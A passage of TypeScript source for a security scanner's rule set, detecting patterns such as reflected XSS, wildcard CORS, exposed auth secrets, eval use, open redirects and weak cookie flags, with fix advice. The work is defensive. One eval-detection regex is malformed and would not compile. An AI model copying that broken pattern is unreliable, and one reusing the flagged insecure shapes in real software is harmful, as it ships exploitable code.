blocks), so inspect a window.\n const windowText = allLines.slice(m.line - 1, m.line + 2).join(\"\\n\");\n if (/JSON\\.stringify/i.test(windowText)) continue;\n\n // Respect an inline `// VC007-OK: <reason>` (or `// scanner-OK`)\n // silencer for the other intentional sites — const boot scripts\n // (theme-flash prevention), sandboxed/server-built embed previews.\n const lineStartIdx = allLines.slice(0, m.line - 1)\n .reduce((acc, l) => acc + l.length + 1, 0);\n if (isInlineSilenced(content, lineStartIdx, \"VC007\")) continue;\n }\n\n matches.push(m);\n }\n }\n\n // --- AST layer: res.send(<tainted template literal containing HTML>) ---\n // Node/Express handlers that echo user-supplied HTML back to the browser.\n // `res.send(\\`<div>${userHtml}</div>\\`)` is the canonical reflected-XSS\n // shape the AST layer can catch cleanly.\n if (!/\\.(?:send|end|write)\\s*\\(/.test(content) || !/\\$\\{/.test(content)) {\n return matches;\n }\n const ctx = tryParse(content, filePath);\n if (!ctx) return matches;\n const { parsed, taint } = ctx;\n\n visitCalls(\n parsed,\n (callee: Node) => {\n if (callee.type !== \"MemberExpression\") return false;\n if (callee.property.type !== \"Identifier\") return false;\n return [\"send\", \"end\", \"write\"].includes(callee.property.name);\n },\n (call, line) => {\n const first = call.arguments[0];\n if (!first || first.type !== \"TemplateLiteral\") return;\n // Only flag when the template literal contains HTML-looking syntax\n // AND at least one expression is tainted.\n const literalParts = first.quasis.map((q) => q.value.raw).join(\"\");\n if (!/<\\/?\\w+/.test(literalParts)) return;\n if (!taint.isTainted(first as Node)) return;\n if (matches.some((m) => m.line === line)) return;\n matches.push(\n astMatch(\n content,\n filePath,\n line,\n xssVulnerability,\n \"Never echo user-supplied HTML back to the browser unescaped. Sanitize with DOMPurify, use a templating engine that auto-escapes, or set `res.type('text/plain')` if you never intended HTML.\",\n ),\n );\n },\n );\n\n return matches;\n },\n};\n\nexport const noRateLimiting: CustomRule = {\n id: \"VC008\",\n title: \"API Endpoint Without Rate Limiting\",\n severity: \"medium\",\n category: \"Availability\",\n description: \"API endpoints without rate limiting are vulnerable to abuse and denial-of-service attacks.\",\n check(content, filePath) {\n // Only check main server/app entry files\n const isEntryFile = /(?:server|app|index|main)\\.[jt]sx?$/.test(filePath) ||\n filePath.includes(\"middleware\");\n if (!isEntryFile) return [];\n\n // Check if this is a server file. The evidence has to be code — an import\n // of a server framework, or a call that starts a server — not a bare\n // substring. The old test was a case-insensitive /next|express|.../, so\n // any word containing \"next\" (`adNext`, `nextLap`, `NextButton`) made a\n // browser game's main.js an \"API endpoint without rate limiting\".\n // Not `http`/`https` imports on their own: a script that only makes\n // requests imports them too. createServer( and .listen( catch the servers.\n const isServer =\n /(?:from\\s+|require\\s*\\(\\s*)[\"'`](?:express|hono|fastify|koa|koa-router|@koa\\/[\\w-]+|@hono\\/[\\w-]+|next(?:\\/server)?|next-auth(?:\\/[\\w-]+)?|@clerk\\/nextjs(?:\\/server)?)[\"'`]/.test(content) ||\n // Case-sensitive framework types — `adNext` and `nextLap` can't match.\n /\\b(?:NextApiRequest|NextApiResponse|NextRequest|NextResponse)\\b/.test(content) ||\n /\\b(?:express|fastify|createServer)\\s*\\(/.test(content) ||\n /\\bnew\\s+(?:Hono|Koa)\\s*\\(/.test(content) ||\n /\\b(?:Deno|Bun)\\.serve\\s*\\(/.test(content) ||\n /\\.listen\\s*\\(/.test(content);\n if (!isServer) return [];\n\n // Check for rate limiting\n const hasRateLimit = /rate.?limit|throttle|express-rate-limit|@elysiajs\\/rate-limit|hono.*limiter/i.test(content);\n if (hasRateLimit) return [];\n\n return [{\n rule: \"VC008\",\n title: noRateLimiting.title,\n severity: \"medium\",\n category: \"Availability\",\n file: filePath,\n line: 1,\n snippet: getSnippet(content, 1),\n fix: \"Add rate limiting middleware to your server. For Express: npm install express-rate-limit. For other frameworks, check their rate limiting plugins.\",\n }];\n },\n};\n\nexport const corsWildcard: CustomRule = {\n id: \"VC009\",\n title: \"CORS Allows All Origins\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"Wildcard CORS (*) allows any website to make requests to your API, potentially exposing user data.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n const patterns = [\n /cors\\(\\s*\\)/g, // cors() with no options = allow all\n /origin\\s*:\\s*[\"'`]\\*[\"'`]/g,\n /[\"'`]Access-Control-Allow-Origin[\"'`]\\s*,\\s*[\"'`]\\*[\"'`]/g,\n /origin\\s*:\\s*true/g,\n ];\n\n const matches: RuleMatch[] = [];\n for (const pattern of patterns) {\n matches.push(\n ...findMatches(content, pattern, corsWildcard, filePath, () =>\n \"Restrict CORS to your specific frontend domain(s): cors({ origin: 'https://yourdomain.com' })\"\n ),\n );\n }\n return matches;\n },\n};\n\nexport const clientSideAuth: CustomRule = {\n id: \"VC010\",\n title: \"Client-Side Only Authorization\",\n severity: \"high\",\n category: \"Authorization\",\n description: \"Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.\",\n check(content, filePath) {\n // Only check frontend component files\n if (!filePath.match(/\\.(jsx|tsx|vue|svelte)$/)) return [];\n\n const matches: RuleMatch[] = [];\n\n // Pattern: conditional rendering based on role/admin without server check\n const rolePatterns = [\n /\\{.*(?:isAdmin|role\\s*===?\\s*[\"'`]admin[\"'`]|user\\.role).*&&/gi,\n /v-if\\s*=\\s*[\"'`].*(?:isAdmin|role\\s*===?\\s*'admin')/gi,\n ];\n\n for (const pattern of rolePatterns) {\n // Only flag if the file has no server-side fetch for auth verification\n const hasServerCheck = /getServerSession|getUser|server|api\\/auth|middleware/i.test(content);\n if (hasServerCheck) continue;\n\n matches.push(\n ...findMatches(content, pattern, clientSideAuth, filePath, () =>\n \"Client-side role checks only hide UI — they don't prevent access. Always verify permissions on the server/API side too.\"\n ),\n );\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC011 – Secret in NEXT_PUBLIC_ env var\n// ────────────────────────────────────────────\n\nexport const nextPublicSecret: CustomRule = {\n id: \"VC011\",\n title: \"Secret in NEXT_PUBLIC_ Environment Variable\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"NEXT_PUBLIC_ variables are exposed to the browser. Secrets placed here are visible to anyone.\",\n check(content, filePath) {\n if (!filePath.match(/\\.env/) && !filePath.match(/next\\.config/)) return [];\n const patterns = [\n /NEXT_PUBLIC_[A-Z_]*(?:SECRET|KEY|TOKEN|PASSWORD|PRIVATE)[A-Z_]*\\s*=\\s*.+/gi,\n /NEXT_PUBLIC_[A-Z_]*(?:SUPABASE_SERVICE|CLERK_SECRET|STRIPE_SECRET)[A-Z_]*\\s*=\\s*.+/gi,\n ];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n const raw = findMatches(content, p, nextPublicSecret, filePath, () =>\n \"Remove the NEXT_PUBLIC_ prefix. Only use NEXT_PUBLIC_ for values safe to expose in the browser.\"\n );\n // Filter out publishable/public keys that are DESIGNED to be client-side\n for (const m of raw) {\n const lineText = content.split(\"\\n\")[m.line - 1] || \"\";\n if (/PUBLISHABLE|ANON_KEY|PUBLIC_KEY/i.test(lineText)) continue;\n // Skip Clerk publishable keys (pk_test_, pk_live_)\n if (/CLERK_PUBLISHABLE/i.test(lineText)) continue;\n // Skip Stripe publishable keys\n if (/STRIPE_PUBLISHABLE/i.test(lineText)) continue;\n // Skip if the value is a placeholder (empty, pk_test_, etc.)\n if (/=\\s*[\"']?\\s*$|=\\s*[\"']?pk_(?:test|live)_[\"']?\\s*$/.test(lineText)) continue;\n matches.push(m);\n }\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC014 – .env not in .gitignore\n// ────────────────────────────────────────────\n\nexport const envNotGitignored: CustomRule = {\n id: \"VC014\",\n title: \".env File Not in .gitignore\",\n severity: \"high\",\n category: \"Secrets\",\n description: \"If .env is not listed in .gitignore, secrets will be committed to version control.\",\n check(content, filePath) {\n if (!filePath.endsWith(\".gitignore\")) return [];\n if (/\\.env/i.test(content)) return [];\n return [{\n rule: \"VC014\", title: envNotGitignored.title, severity: \"high\" as const, category: \"Secrets\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: 'Add \".env*\" to your .gitignore file to prevent committing secrets.',\n }];\n },\n};\n\n// ────────────────────────────────────────────\n// VC015 – eval() / new Function()\n// ────────────────────────────────────────────\n\nexport const evalUsage: CustomRule = {\n id: \"VC015\",\n title: \"Use of eval() or Function Constructor\",\n severity: \"high\",\n category: \"Injection\",\n description: \"eval() and new Function() execute arbitrary code, creating severe injection risks.\",\n check(content, filePath) {\n if (filePath.includes(\"node_modules\") || filePath.includes(\".min.\")) return [];\n if (filePath.match(/(?:webpack|rollup|vite|jest|babel|tsup|esbuild)\\.config/i)) return [];\n if (isTestFile(filePath)) return [];\n // Skip files that are linters/scanners/rule engines (they reference eval in detection patterns)\n if (filePath.match(/(?:rules?|scanner|lint|check|detect|analyz)/i) && /\\.check\\s*\\(|findMatches/i.test(content)) return [];\n const patterns = [\n // Actual eval() calls — not in strings or regex patterns\n /\\beval\\s*\\(\\s*(?)/g,\n /new\\s+Function\\s*\\(\\s*(?![\"'`])/g,\n ];\n // Skip if eval is only in a string (e.g., devtool: 'eval-source-map')\n const hasEvalInString = /[\"'`]eval(?:-source-map|[\"'`])/i.test(content);\n if (hasEvalInString && !/\\beval\\s*\\([^)]{0,500}(?:req\\.|body\\.|input|params|user|data)/i.test(content)) return [];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n const rawMatches = findMatches(content, p, evalUsage, filePath, () =>\n \"Replace eval() with JSON.parse() for data, or a proper parser for expressions. Never pass user input to eval().\"\n );\n // Skip matches on lines containing devtool or source-map config\n for (const rm of rawMatches) {\n const lineStart = content.lastIndexOf(\"\\n\", content.split(\"\\n\").slice(0, rm.line - 1).join(\"\\n\").length) + 1;\n const lineEnd = content.indexOf(\"\\n\", lineStart + 1);\n const lineText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n if (/devtool|source-map/i.test(lineText)) continue;\n // Skip if eval appears on a line with description/title/message keys (string literal context)\n if (/(?:description|title|message)\\s*[:=]/i.test(lineText)) continue;\n matches.push(rm);\n }\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC016 – Unvalidated redirect\n// ────────────────────────────────────────────\n\nexport const unvalidatedRedirect: CustomRule = {\n id: \"VC016\",\n title: \"Unvalidated Redirect\",\n severity: \"high\",\n category: \"Injection\",\n description: \"Redirecting users to URLs from untrusted input enables phishing attacks.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n // Skip if the file already validates redirect URLs\n if (/isAllowedRedirect|validateRedirect|isSafeRedirect|allowedDomains|trustedDomains|whitelist.*url|allowlist.*url/i.test(content)) return [];\n\n const matches: RuleMatch[] = [];\n\n // Client-side navigation sinks. Capture the assigned/passed value and\n // only flag when it's DYNAMIC — a variable, member access, concatenation,\n // or a template literal with interpolation. A pure string literal, whether\n // relative (\"/dashboard\") or absolute (\"https://example.com\"), is a\n // hardcoded destination the developer wrote, not an untrusted-input\n // redirect, so it's skipped.\n //\n // The previous implementation used a `(?![\"'`]https?://)` negative\n // lookahead that backtracked over the `\\s*` before the value, so the\n // lookahead always succeeded and EVERY navigation flagged — including\n // `window.location.href = \"/dashboard\"`. That produced a high-severity\n // false positive on essentially every SPA.\n const navPattern = /(?:window\\.location(?:\\.href)?\\s*=\\s*|window\\.location\\.(?:assign|replace)\\s*\\(\\s*)([^;\\n)]+)/g;\n let m: RegExpExecArray | null;\n while ((m = navPattern.exec(content)) !== null) {\n if (isCommentLine(content, m.index)) continue;\n const value = m[1].trim();\n const hasInterpolation = /\\$\\{/.test(value);\n const isPureLiteral = /^[\"'`][^\"'`]*[\"'`]$/.test(value);\n // Hardcoded destination (no interpolation, just a quoted literal) → safe.\n if (!hasInterpolation && isPureLiteral) continue;\n if (isInlineSilenced(content, m.index, \"VC016\")) continue;\n const line = lineNumberAt(content, m.index);\n matches.push({\n rule: \"VC016\",\n title: unvalidatedRedirect.title,\n severity: \"high\",\n category: \"Injection\",\n file: filePath,\n line,\n snippet: getSnippet(content, line),\n fix: \"Validate redirect URLs against an allowlist of trusted domains. Never redirect to user-supplied URLs directly. If the target is a hardcoded/internal path you control, add an inline `// VC016-OK: <reason>` comment to silence.\",\n });\n }\n\n // Server-side: res.redirect() fed directly from request input.\n matches.push(...findMatches(content, /res\\.redirect\\s*\\(\\s*(?:req\\.|params\\.|query\\.)/gi, unvalidatedRedirect, filePath, () =>\n \"Validate redirect URLs against an allowlist of trusted domains. Never redirect to user-supplied URLs directly.\"\n ));\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC017 – Insecure cookie settings\n// ────────────────────────────────────────────\n\nexport const insecureCookies: CustomRule = {\n id: \"VC017\",\n title: \"Insecure Cookie Settings\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"Cookies without httpOnly, secure, or sameSite flags are vulnerable to theft and CSRF attacks.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n if (!/cookie/i.test(content)) return [];\n // `\\bcookie\\s*=` rather than `cookie\\s*=`: without the word boundary the\n // pattern also matches the tail of any identifier ending in \"cookie\", so\n // `const CLAIM_COOKIE = \"xs_pending_claim\"` — the constant that NAMES a\n // cookie — read as a write to one. That fired on files that only ever\n // READ a cookie, where there are no flags to be missing and the finding\n // pointed at a string constant. `document.cookie =` and `res.cookie =`\n // still match, because `.` is a word boundary.\n const setCookiePattern = /(?:set-cookie|setCookie|\\bcookie\\s*=|res\\.cookie\\s*\\()/gi;\n if (!setCookiePattern.test(content)) return [];\n const hasHttpOnly = /httpOnly\\s*:\\s*true|httponly/i.test(content);\n // Any value counts as the Secure attribute being set, except the literal\n // `false`. A Secure cookie is not sent over plain http, so an app that\n // runs on http://localhost in development cannot hardcode it on —\n // `secure: process.env.NODE_ENV === \"production\"` is the standard idiom\n // in Express and Next.js alike. Demanding a literal `true` reported \"add\n // missing cookie flags: secure\" at those sites, which is not true: the\n // attribute is set, in production, which is where it matters. This also\n // makes the check consistent with the sameSite one directly below, which\n // has always accepted any value.\n const hasSecure = /secure\\s*:\\s*(?!false\\b)\\S/i.test(content) || /;\\s*secure/i.test(content);\n const hasSameSite = /sameSite\\s*:|samesite/i.test(content);\n const matches: RuleMatch[] = [];\n if (!hasHttpOnly || !hasSecure || !hasSameSite) {\n const missing: string[] = [];\n if (!hasHttpOnly) missing.push(\"httpOnly\");\n if (!hasSecure) missing.push(\"secure\");\n if (!hasSameSite) missing.push(\"sameSite\");\n matches.push(...findMatches(content, /(?:set-cookie|setCookie|cookie\\s*=|res\\.cookie\\s*\\()/gi, insecureCookies, filePath, () =>\n `Add missing cookie flags: ${missing.join(\", \")}. Example: { httpOnly: true, secure: true, sameSite: 'lax' }`\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC018 – Exposed auth provider secret key\n// ────────────────────────────────────────────\n\nexport const exposedAuthSecret: CustomRule = {\n id: \"VC018\",\n title: \"Exposed Clerk/Auth Secret Key\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"Auth provider secret keys (Clerk, Auth0, NextAuth) must never be in client-side code or NEXT_PUBLIC_ variables.\",\n check(content, filePath) {\n const isClientFile = filePath.match(/\\.(jsx|tsx|vue|svelte)$/) || /[\"']use client[\"']/.test(content);\n const isEnvFile = filePath.match(/\\.env/);\n if (!isClientFile && !isEnvFile) return [];\n const patterns: RegExp[] = [];\n if (isClientFile) {\n patterns.push(\n /CLERK_SECRET_KEY/g,\n /AUTH0_CLIENT_SECRET/g,\n /NEXTAUTH_SECRET/g,\n );\n }\n if (isEnvFile) {\n patterns.push(\n /NEXT_PUBLIC_CLERK_SECRET/gi,\n /NEXT_PUBLIC_AUTH0_SECRET/gi,\n /NEXT_PUBLIC_NEXTAUTH_SECRET/gi,\n );\n }\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedAuthSecret, filePath, () =>\n \"Move this secret to a server-side environment variable (without the NEXT_PUBLIC_ prefix). Never expose auth secrets to the browser.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC020 – Missing Content Security Policy\n// ────────────────────────────────────────────\n\n/**\n * A starting CSP for THIS page, not a generic one. The old fix was a fixed\n * `default-src 'self'; script-src 'self'`, which blocks every external script\n * and every inline <script> — an import map included — so on a page with no\n * build step, pasting it in stopped the page from loading at all.\n */\nfunction cspFixFor(content: string): string {\n const html = content.slice(0, 200_000);\n const origins = new Set<string>();\n const addOrigin = (url: string) => {\n const m = url.match(/^(https?:)?\\/\\/([^/\"'`\\s>?#]+)/i);\n if (m && origins.size < 10) origins.add(`${(m[1] ?? \"https:\").toLowerCase()}//${m[2].toLowerCase()}`);\n };\n let inlineScripts = 0;\n // Walked by hand, not with one regex over the whole page: a lazy\n // `<script>[\\s\\S]*?</script>` on a page full of unclosed tags is quadratic,\n // and this runs on uploads to the public scan endpoint.\n const openTag = /<script\\b([^>]{0,500})>/gi;\n let m: RegExpExecArray | null;\n for (let seen = 0; (m = openTag.exec(html)) && seen < 100; seen++) {\n const attrs = m[1];\n // Quoted, unquoted, absolute or protocol-relative.\n const src = attrs.match(/\\bsrc\\s*=\\s*[\"']?((?:https?:)?\\/\\/[^\"'\\s>]+)/i);\n if (src) { addOrigin(src[1]); continue; }\n if (/\\bsrc\\s*=/i.test(attrs)) continue; // a same-origin file, covered by 'self'\n const close = html.indexOf(\"</script\", openTag.lastIndex);\n const body = html.slice(openTag.lastIndex, close < 0 ? openTag.lastIndex + 50_000 : close);\n const type = (attrs.match(/\\btype\\s*=\\s*[\"']?([^\"'\\s>]+)/i)?.[1] ?? \"\").toLowerCase();\n // JSON-LD, templates and shader source are data blocks the browser never\n // runs, so CSP doesn't block them and they need no hash.\n const runs = type === \"\" || type === \"module\" || type === \"importmap\" || /^(?:text|application)\\/(?:x-)?(?:java|ecma)script$/.test(type);\n if (!runs || !body.trim()) continue;\n inlineScripts++;\n // Scripts an import map or an inline module pulls in need script-src too.\n const urls = type === \"importmap\"\n ? body.matchAll(/[\"']((?:https?:)?\\/\\/[^\"'\\s]+)[\"']/g)\n : type === \"module\"\n ? body.matchAll(/(?:\\bfrom|\\bimport\\s*\\(?)\\s*[\"'`]((?:https?:)?\\/\\/[^\"'`\\s]+)[\"'`]/g)\n : [];\n for (const u of urls) addOrigin(u[1]);\n }\n const scriptSrc = [\"'self'\", ...origins].join(\" \");\n return [\n `Add a Content-Security-Policy. A starting point for this page: \\`default-src 'self'; script-src ${scriptSrc}\\`, plus any other origins it fetches from, frames or loads styles, fonts and images from.`,\n inlineScripts > 0\n ? `This page has ${inlineScripts} inline <script> block${inlineScripts === 1 ? \"\" : \"s\"} (an import map counts), which that policy blocks: add each one's 'sha256-…' hash to script-src, or move the code into a file.`\n : \"\",\n \"Prefer sending it as an HTTP response header from your host; a <meta http-equiv> tag also works, but ignores frame-ancestors. Test it before shipping — a policy that's too strict stops the page from loading. As a header, Content-Security-Policy-Report-Only lets you see what it would block first.\",\n ]\n .filter(Boolean)\n .join(\" \");\n}\n\nexport const missingCSP: CustomRule = {\n id: \"VC020\",\n title: \"Missing Content Security Policy (CSP)\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Without a Content-Security-Policy header or meta tag, your app is vulnerable to XSS and data injection attacks.\",\n check(content, filePath) {\n // Check HTML files for missing CSP meta tag\n if (filePath.match(/\\.(html|htm)$/)) {\n if (!/Content-Security-Policy/i.test(content)) {\n return [{\n rule: \"VC020\", title: missingCSP.title, severity: \"high\" as const, category: \"Configuration\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: cspFixFor(content),\n }];\n }\n }\n // Skip Electron main process — CSP is typically set in the HTML file (already checked above)\n // Flagging main.ts creates false positives since CSP belongs in index.html for Electron apps\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC031 – Hardcoded JWT Secret\n// ────────────────────────────────────────────\n\nexport const hardcodedJWTSecret: CustomRule = {\n id: \"VC031\",\n title: \"Hardcoded JWT Secret\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"JWT tokens signed with a hardcoded string secret can be forged by anyone who reads the source code.\",\n check(content, filePath) {\n if (filePath.endsWith(\".example\") || filePath.endsWith(\".template\") || filePath.includes(\"test\")) return [];\n const patterns = [\n /jwt\\.sign\\s*\\([^,]+,\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n /jwt\\.verify\\s*\\([^,]+,\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n /jsonwebtoken.*secret\\s*[:=]\\s*[\"'`][^\"'`]{3,}[\"'`]/gi,\n /JWT_SECRET\\s*[:=]\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n ];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, hardcodedJWTSecret, filePath, () =>\n \"Move JWT secret to an environment variable: jwt.sign(payload, process.env.JWT_SECRET). Use a strong, random secret (256+ bits).\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC032 – Missing HTTPS Enforcement\n// ────────────────────────────────────────────\n\nexport const missingHTTPS: CustomRule = {\n id: \"VC032\",\n title: \"Missing HTTPS Enforcement\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.\",\n check(content, filePath) {\n if (filePath.endsWith(\".example\") || filePath.includes(\"test\") || filePath.includes(\"README\")) return [];\n if (filePath.match(/\\.(md|txt)$/)) return [];\n const matches: RuleMatch[] = [];\n // Skip standard XML/HTML doctypes, DTDs, schema URIs, namespace URLs\n if (/<!DOCTYPE|xmlns|\\.dtd|\\.xsd/i.test(content) && !/fetch|axios|request|http\\.get/i.test(content)) return [];\n // Hardcoded http:// URLs to non-local hosts (excluding standard schema/namespace URIs)\n const httpPattern = /[\"'`]http:\\/\\/(?!localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|192\\.168\\.|10\\.|172\\.(?:1[6-9]|2\\d|3[01])\\.|www\\.w3\\.org|www\\.apple\\.com\\/DTDs|schemas?\\.|xml\\.org|purl\\.org|ns\\.adobe|xmlpull\\.org|java\\.sun\\.com)[^\"'`\\s]+[\"'`]/g;\n const rawMatches = findMatches(content, httpPattern, missingHTTPS, filePath, () =>\n \"Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains\"\n );\n // Skip DOCTYPE/DTD URLs\n for (const rm of rawMatches) {\n const lineStart = content.lastIndexOf(\"\\n\", content.split(\"\\n\").slice(0, rm.line - 1).join(\"\\n\").length) + 1;\n const lineEnd = content.indexOf(\"\\n\", lineStart + 1);\n const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n if (/DTD|DOCTYPE|w3\\.org|apple\\.com\\/DTDs/i.test(matchText)) continue;\n matches.push(rm);\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC033 – Exposed Debug/Dev Mode\n// ────────────────────────────────────────────\n\nexport const exposedDebugMode: CustomRule = {\n id: \"VC033\",\n title: \"Debug/Development Mode Exposed\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Debug mode, verbose logging, or development configuration left in production code exposes internal details and may enable debug endpoints.\",\n check(content, filePath) {\n if (filePath.includes(\"test\") || filePath.endsWith(\".example\") || filePath.includes(\"node_modules\")) return [];\n if (filePath.match(/\\.env\\.development$/)) return []; // Expected in dev env files\n const matches: RuleMatch[] = [];\n const patterns = [\n // Debug flags set to true\n /DEBUG\\s*[:=]\\s*(?:true|1|[\"'`]true[\"'`]|[\"'`]\\*[\"'`])/g,\n // Django DEBUG\n /DEBUG\\s*=\\s*True/g,\n // Flask/Express debug mode\n /app\\.debug\\s*=\\s*True/g,\n /app\\.run\\s*\\([^)]*debug\\s*=\\s*True/g,\n // Source maps in production\n /devtool\\s*:\\s*[\"'`](?:eval|cheap|source-map|inline-source-map)[\"'`]/g,\n // Debug endpoints that leak environment / process internals in the\n // response body. Very high-signal — a production service shouldn't\n // serialize process.env or process.version to callers.\n /res\\.(?:json|send)\\s*\\([^)]*process\\.(?:env|version|pid|arch|platform)/gi,\n /(?:env|environment)\\s*:\\s*process\\.env\\b/gi,\n ];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedDebugMode, filePath, () =>\n \"Disable debug mode in production. Use environment variables: DEBUG = process.env.NODE_ENV !== 'production'. Remove source maps from production builds.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC034 – Insecure Randomness\n// ────────────────────────────────────────────\n\nexport const insecureRandomness: CustomRule = {\n id: \"VC034\",\n title: \"Insecure Randomness for Security-Sensitive Values\",\n severity: \"high\",\n category: \"Cryptography\",\n description: \"Math.random() is not cryptographically secure. Using it for tokens, session IDs, passwords, or OTPs makes them predictable.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n if (!/Math\\.random\\s*\\(\\s*\\)/i.test(content)) return [];\n const matches: RuleMatch[] = [];\n\n // --- Same-line inline pattern: const token = Math.random() ---\n const securityContext = /(?:token|secret|session|password|otp|nonce|salt|csrf|auth)\\s*[:=]\\s*.*Math\\.random/gi;\n const rawMatches = findMatches(content, securityContext, insecureRandomness, filePath, () =>\n \"Use crypto.randomUUID() or crypto.getRandomValues() for security-sensitive values. Math.random() is predictable.\"\n );\n const nonSecurityVarNames = /(?:id|key|color|index|delay|position|size|width|height|offset|opacity|rotation|animation|random(?!.*(?:token|secret|key|password)))\\s*[:=]\\s*.*Math\\.random/i;\n for (const rm of rawMatches) {\n const lineText = content.split(\"\\n\")[rm.line - 1] || \"\";\n if (nonSecurityVarNames.test(lineText)) continue;\n matches.push(rm);\n }\n\n // --- File-level context: function/variable NAMES that declare security\n // intent. If present anywhere in the file, treat every Math.random() call\n // as suspicious (the security-critical value is built across lines). ---\n const SECURITY_FN_CONTEXT =\n /\\b(?:function|def|async|const|let|var)\\s+\\w*(?:generate|create|make|new|mint|issue)[A-Z_]\\w*(?:Token|Session|Nonce|Salt|Secret|Password|Otp|Csrf|Key|Code|Auth)\\w*/i;\n const SECURITY_IDENT_CONTEXT =\n /\\b(?:session[_-]?token|csrf[_-]?token|reset[_-]?token|verify[_-]?code|otp[_-]?code|refresh[_-]?token|api[_-]?key)\\b/i;\n\n if (SECURITY_FN_CONTEXT.test(content) || SECURITY_IDENT_CONTEXT.test(content)) {\n const raw = findMatches(content, /Math\\.random\\s*\\(\\s*\\)/g, insecureRandomness, filePath, () =>\n \"Math.random() is not cryptographically secure. Use crypto.randomBytes() (Node), crypto.getRandomValues() (browser), or crypto.randomUUID() for tokens, session IDs, salts, and similar values.\",\n );\n for (const m of raw) {\n if (matches.some((existing) => existing.line === m.line)) continue;\n matches.push(m);\n }\n }\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC036 – Missing Error Boundary (React)\n// ────────────────────────────────────────────\n\nexport const missingErrorBoundary: CustomRule = {\n id: \"VC036\",\n title: \"React App Missing Error Boundary\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"React apps without error boundaries display raw stack traces and component tree info to users when crashes occur, leaking internal details.\",\n check(content, filePath) {\n // Only check App.tsx, App.jsx, app.tsx, app.jsx files\n const basename = filePath.split(\"/\").pop() || \"\";\n if (!/^[Aa]pp\\.[jt]sx$/i.test(basename)) return [];\n // Skip .ts files (non-JSX)\n if (filePath.match(/\\.ts$/)) return [];\n // Only trigger if file contains JSX (< followed by an uppercase letter)\n if (!/<[A-Z]/.test(content)) return [];\n // Skip Electron main process files\n if (/(?:BrowserWindow|electron|ipcMain|app\\.on\\s*\\(\\s*[\"']ready)/i.test(content)) return [];\n if (/\\/main\\//.test(filePath) && !/react-dom|createRoot/i.test(content)) return [];\n // Must have React imports and render calls\n if (!/(?:import.*react|from\\s+['\"]react|require.*react)/i.test(content)) return [];\n if (!/(?:createRoot|ReactDOM\\.render)/i.test(content)) return [];\n const hasErrorBoundary = /ErrorBoundary|componentDidCatch|getDerivedStateFromError|error-boundary/i.test(content);\n if (hasErrorBoundary) return [];\n if (/createRoot|ReactDOM\\.render/i.test(content)) {\n return [{\n rule: \"VC036\", title: missingErrorBoundary.title, severity: \"medium\" as const, category: \"Configuration\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: \"Wrap your app in an ErrorBoundary component to catch rendering errors gracefully. Use react-error-boundary or create a class component with componentDidCatch.\"\n }];\n }\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC037 – Exposed Stack Traces in API\n// ────────────────────────────────────────────\n\nexport const exposedStackTraces: CustomRule = {\n id: \"VC037\",\n title: \"Stack Traces Exposed in API Responses\",\n severity: \"medium\",\n category: \"Information Leakage\",\n description: \"Returning error.stack or detailed error messages in API responses reveals internal code paths, file structure, and dependencies to attackers.\",\n check(content, filePath) {\n if (!isServerSideFile(filePath, content)) return [];\n const matches: RuleMatch[] = [];\n const patterns = [\n // Sending stack trace in response\n /(?:res\\.(?:json|send|status)|c\\.json|return.*json)\\s*\\([^)]*(?:err\\.stack|error\\.stack|e\\.stack)/gi,\n /(?:res\\.(?:json|send|status)|c\\.json)\\s*\\([^)]*(?:err\\.message|error\\.message|e\\.message)/gi,\n // Express-style error with stack\n /(?:message|error)\\s*:\\s*(?:err|error|e)\\.(?:stack|message)/gi,\n ];\n const hasEnvCheck = /process\\.env\\.NODE_ENV\\s*(?:===|!==)\\s*[\"'`]production[\"'`]|NODE_ENV/i.test(content);\n if (hasEnvCheck) return []; // They're conditionally showing errors\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedStackTraces, filePath, () =>\n \"Never expose error.stack or error.message to clients in production. Return generic error messages: { error: 'Something went wrong' }. Log details server-side only.\"\n 